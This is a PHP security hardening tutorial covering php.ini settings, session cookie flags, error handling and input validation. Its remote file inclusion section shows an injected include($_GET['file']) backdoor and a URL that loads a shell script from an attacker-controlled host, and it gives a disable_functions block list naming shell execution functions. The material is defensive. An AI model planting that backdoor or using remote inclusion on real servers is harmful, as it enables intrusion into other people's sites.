PHP Security 4: PHP Security Best Practices

The best security practice when it comes to software is to make sure it is always up to date with the latest security patches and running the latest supported stable version. In the case of PHP, you should also make sure that you are running the latest server version (for example, Apache) and you should regularly check and patch your operating system (for example, Linux or Windows).

Sometimes attackers take advantage not only of errors in PHP application security but also insecure PHP or PHP project configurations. Bad configuration can make it easier for malicious users to perform attacks such as SQL Injection (SQLi), Cross-site Scripting (XSS), or Cross-site Request Forgery (CSRF).

PHP Version Exposure

Never expose the version of any software installed. This is the first thing that attackers search for during reconnaissance (information gathering). Then, they try to find version-specific vulnerabilities to exploit.

By default, the version of PHP is exposed in the X-Powered-By header:

PHP Security

It can be disabled by changing the expose_php directive in the php.ini configuration file to Off:

expose_php = Off

Even though this improves the overall security of a system, it does not stop the attackers from exploiting any vulnerabilities.

Script Name Exposure

By default, PHP adds the X-PHP-Originating-Script header to emails sent using the mail() function. The value of this header includes the user ID and the filename of the PHP script from which the email is sent.

PHP Security

This might expose filenames, which can then be targeted by attackers. You can disable this header by changing the mail.add_x_header directive in the php.ini configuration file to Off:

mail.add_x_header = Off

Error Reporting

Error reporting helps software developers debug problems and test the functionality of a system. It provides additional information when an error occurs during code execution. The end-user should never see these errors for the following reasons:

  • When users see error messages, it degrades their user experience. Users don’t understand what a runtime error means and they cannot fix it. If they receive an error, it most probably means that their action was not processed. This makes the application unusable. It also shows a lack of developer security awareness.
  • Errors can expose sensitive information about the underlying server configuration or application code, for example, information about extensions such as mysqli or PDO.

For example, this is a common error that indicates a vulnerability to an SQL Injection attack:

PHP security

This error code exposes the MySQL database user name, the database connection method (mysqli extension), and the path to the executed script:

PHP Security

Pages containing errors can also be indexed by search engines. Attackers use specific keywords to find such pages and exploit them.

Developers often forget to turn off the debugging mode when they move an application to a live server. In a production environment, error reporting should always be turned off. Developers should always make sure that their code catches errors/exceptions and does not directly expose the result of an operation to the user.

Error reporting can be disabled by changing the display_errors directive in the php.ini configuration file to Off:

display_errors = Off

If display_errors is set to Off, the response becomes:

PHP security

You still get an error message because this PHP code checks whether a connection to the database is successful. If not, it displays information about the error:

if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error); 
}

If you want to hide the database error message, you need to remove $conn->connect_error from the output string.

if ($conn->connect_error) {
  die("Connection failed"); 
}

Now the error becomes:

PHP Security

Session Cookies

The httponly Flag

The httponly flag prevents client-side JavaScript from accessing cookie values. It is commonly used for Cross-site Scripting (XSS) mitigation. For example, if a web application is vulnerable to XSS attacks then the payload will not be able to steal cookies flagged as httponly. This is particularly useful for session cookies.

Without the flag:

PHP security

JavaScript can access the session cookie:

PHP Security

You can set this flag when you create any cookie in PHP. You can also enforce it using the PHP configuration (or .htaccess) for the PHP session cookie. To do this, set session.cookie_httponly to On in the php.ini configuration file:

session.cookie_httponly = On

If the flag is on, JavaScript cannot access the session cookie:

PHP security

The secure Flag

The secure flag ensures that the PHP session cookie is only sent via an encrypted (HTTPS) connection. This protects the session cookie from man-in-the-middle (MITM) attacks. If your web application uses HTTPS, you should turn this option on. To do this, change session.cookie_secure to On in the php.ini configuration file:

session.cookie_secure = On

Session Fixation

The server creates sessions to track users and save information about them. Session fixation means that the user can manually set a session by sending a request to the server with the session ID that they want to create. Attackers can use this to trick a user to use a specific session ID and then access their data/account/information. You can partially mitigate it if you set the directive session.use_strict_mode to On in the php.ini configuration file:

session.use_strict_mode = On

Remote File Inclusion

The allow_url_include and allow_url_fopen Directives

The allow_url_include and allow_url_fopen directives allow PHP to upload files from a remote server and treat them as local files. If you use the include(), require(), or file_get_contents() functions insecurely in a script, an attacker can take advantage of this and include malicious code using a file upload from a remote server (this vulnerability is called remote file inclusion). If an attacker can inject code into a file, instead of uploading/hosting a PHP backdoor shell on the target server, they can write just one line of code and include the shell remotely.

In this example, an attacker has access to a WordPress installation that has file editing enabled (it is enabled by default). If these directives are enabled on the server (they are enabled by default), they can inject the following code and have a backdoor loaded remotely:

include($_GET['file']);

Then, the attacker passes the link to a shell script (shell.txt contains uname -a):

http://acunetix.php.example/remote.php?file=http://192.168.2.100/shell.txt

PHP Configuration

You can disable these directives in the php.ini configuration file:

allow_url_fopen = Off
allow_url_include = Off

Directory Traversal

Using directory traversal, an attacker can access files that reside outside the documentroot directory. There are several ways to limit PHP scripts from accessing files outside the documentroot directory. One of them is to set the open_basedir directive in php.ini. By default, this directive is empty. This allows the script to browse files anywhere in the file system as long as the user has access to them.

This is the effect of the default configuration if requests to the include() function are not validated:

PHP Configuration

You can limit file inclusion to the root directory by changing the open_basedir directive in the php.ini configuration file:

open_basedir = /var/www/html/

You can specify multiple directories using the colon as the delimiter:

open_basedir = /var/www/html/:/var/www/html2/:/var/www/html3/

With the above setup, only files within /var/www/html/ can be accessed by PHP:

PHP security

If you set open_basedir, you must also set the upload_tmp_dir directive to a directory that is writable by the web user and that is within the documentroot directory tree. By default, PHP uses /tmp/, which in this case will not work.

upload_tmp_dir = /var/www/html/tmp/

Shell Commands

As shown in the second part of this series, it is very dangerous to enable shell functions. If you disable these functions, you can make sure that any backdoor that uses these functions fails to work. To disable them, first make sure that no scripts use them. Then, introduce the following changes to the php.ini configuration file:

disable_functions = 
  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,
  pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
  pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,
  pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
  pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
  exec,shell_exec,passthru,system

User Input Validation

Validation is the process in which data is checked against specific criteria. The following are some common filters used for validation in PHP files.

During validation, data is not altered in any way. This means that none of these filters remove invalid characters. However, it is very useful because it allows PHP to process only valid data.

The filter_var() Function

Validation and sanitization filters often use the filter_var() function. This function accepts up to 3 parameters in the following format:

filter_var(variable, filter, options)
  • variable: The variable to filter (for example, $username)
  • filter: The ID of the filter to be used (optional)
  • options = Flags specific to the selected filter (optional)

For more information about this function, see the PHP manual.

The FILTER_VALIDATE_EMAIL Filter

This filter checks if the value is a valid email address according to RFC 822. Comments, whitespace folding, and dotless domain names are not supported.

Supported options:

  • FILTER_FLAG_EMAIL_UNICODE: Allows Unicode characters to be used in the host part of an email address (available as of PHP 7.1.0)

Example:

$email_address = 'test_email_αddre$$@test.com';
if (filter_var($email_address, FILTER_VALIDATE_EMAIL)) {
  echo "This is a VALID email address.\n"; 
} else {
  echo "This is an INVALID email address.\n"; 
}

The result will be invalid because $email_address contains the Greek character α.

The FILTER_VALIDATE_IP Filter

This filter checks if the value is a valid IPV4/6 address.

Supported options:

  • FILTER_FLAG_IPV4: Checks if the value is a valid IPV4 address.
  • FILTER_FLAG_IPV6: Checks if the value is a valid IPV6 address.
  • FILTER_FLAG_NO_PRIV_RANGE: Checks if the value belongs to the following private IPV4 ranges: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16; in case of IPV6, it checks if the value starts with FD or FC.
  • FILTER_FLAG_NO_RES_RANGE: Checks if the value belongs to the following private IPV4 ranges: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8, and 240.0.0.0/4; in case of IPV6, it checks for the following ranges: ::1/128, ::/128, ::ffff:0:0/96, and fe80::/10.

Example:

// Check if the IP address is valid
$ip_address = "216.58.205.78";
if(filter_var($ip_address, FILTER_VALIDATE_IP)) {
  echo("This is a valid IP address"); 
} else {
  echo("This is an invalid IP address"); 
}
// Returns true
 
// Check if the IP address is a valid IPV4 address and is not a private address
$ip_address = "192.168.0.1";
if(filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE)) {
  echo("This is a valid IPV4 address and it is not private"); 
} else {
  echo("This is an invalid or private IP address"); 
}
// Returns false because the $ip_address is a valid private IPV4 address

If no flags are defined, by default it checks for both IPV4 and IPV6 address validity.

The FILTER_VALIDATE_URL Filter

This filter checks if the value is a valid URL according to RFC 2396.

Supported options:

  • FILTER_FLAG_SCHEME_REQUIRED: Checks if the URL has a scheme specified (for example, http, https, ftp)
  • FILTER_FLAG_HOST_REQUIRED: Checks if the URL has a host specified (for example, www.example.com)
  • FILTER_FLAG_PATH_REQUIRED: Checks if the URL has a path specified (for example, www.example.com/path/file.php)
  • FILTER_FLAG_QUERY_REQUIRED: Checks if the URL has a query specified (for example, www.example.com/?id=1)

Example:

$url = "https://www.google.com";
if (filter_var($url, FILTER_VALIDATE_URL)) {
  echo("This is a valid URL"); 
} else {
  echo("This is an invalid URL"); 
}

For a full list of supported filters see the PHP documentation.

The ctype Extension

The ctype extension provides functions which can be used to validate data.

  • Functions return true or false.
  • In some functions, a space character may cause strings not to validate. Remove the space before validation.
  • Functions accept only a string or an integer. Anything else returns false.
Function Description
ctype_alnum() Check for alphanumeric characters (a–z, A–Z, 0–9)
ctype_alpha() Check for alphabetic characters (a–z, A–Z)
ctype_cntrl() Check for control characters (\n, \r, \t)
ctype_digit() Check for numeric characters (0–9)
ctype_graph() Check if all the characters in a string create visible output
ctype_lower() Check for lowercase characters (a–z)
ctype_print() Check for printable characters including space
ctype_punct() Check for printable characters other than alphanumeric or space
ctype_space() Check for spaces in a string
ctype_upper() Check for uppercase characters (A–Z)
ctype_xdigit() Check for hexadecimal characters

Example:

$strings = array('pAssw0rd', 'p4a$$word');
foreach ($strings as $string) {
  if (ctype_alnum($string)) {
    echo "The string $string contains only alphanumeric characters. "; 
  } else {
    echo "The string $string does not contain only alphanumeric characters. "; 
  }
}

Result: The string pAssw0rd contains only alphanumeric characters. The string p4a$$word does not contain only alphanumeric characters.